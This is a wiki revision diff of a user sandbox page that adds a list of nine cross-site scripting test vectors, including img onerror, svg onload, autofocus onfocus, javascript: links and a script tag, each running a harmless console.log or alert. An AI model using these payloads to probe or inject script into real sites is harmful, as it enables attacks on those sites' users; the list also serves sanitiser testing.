Difference between revisions of "User:WikiTest789/Sandbox"
From DeFiChain-Wiki
WikiTest789 (talk | contribs) (Edit sandbox) |
WikiTest789 (talk | contribs) (XSS vector test) |
||
| (One intermediate revision by the same user not shown) | |||
| Line 1: | Line 1: | ||
| − | + | == XSS Tests === | |
| − | + | ;HTML img: <img src=x onerror=console.log(1)> | |
| − | console.log( | + | ;SVG: <svg onload=console.log(1)> |
| + | ;Details: <details open ontoggle=console.log(1)> | ||
| + | ;Marquee: <marquee onstart=console.log(1)>test</marquee> | ||
| + | ;Anchor: [javascript:alert(1) click] | ||
| + | ;Input: <input onfocus=console.log(1) autofocus> | ||
| + | ;Body: <body onload=console.log(1)> | ||
| + | ;Style: <style>@import url("data:text/css,body{background:red}");</style> | ||
| + | ;Script: <script>console.log(1)</script> | ||
Latest revision as of 18:37, 11 July 2026
XSS Tests =
- HTML img
- <img src=x onerror=console.log(1)>
- SVG
- <svg onload=console.log(1)>
- Details
- <details open ontoggle=console.log(1)>
- Marquee
- <marquee onstart=console.log(1)>test</marquee>
- Anchor
- [javascript:alert(1) click]
- Input
- <input onfocus=console.log(1) autofocus>
- Body
- <body onload=console.log(1)>
- Style
- <style>@import url("data:text/css,body{background:red}");</style>
- Script
- <script>console.log(1)</script>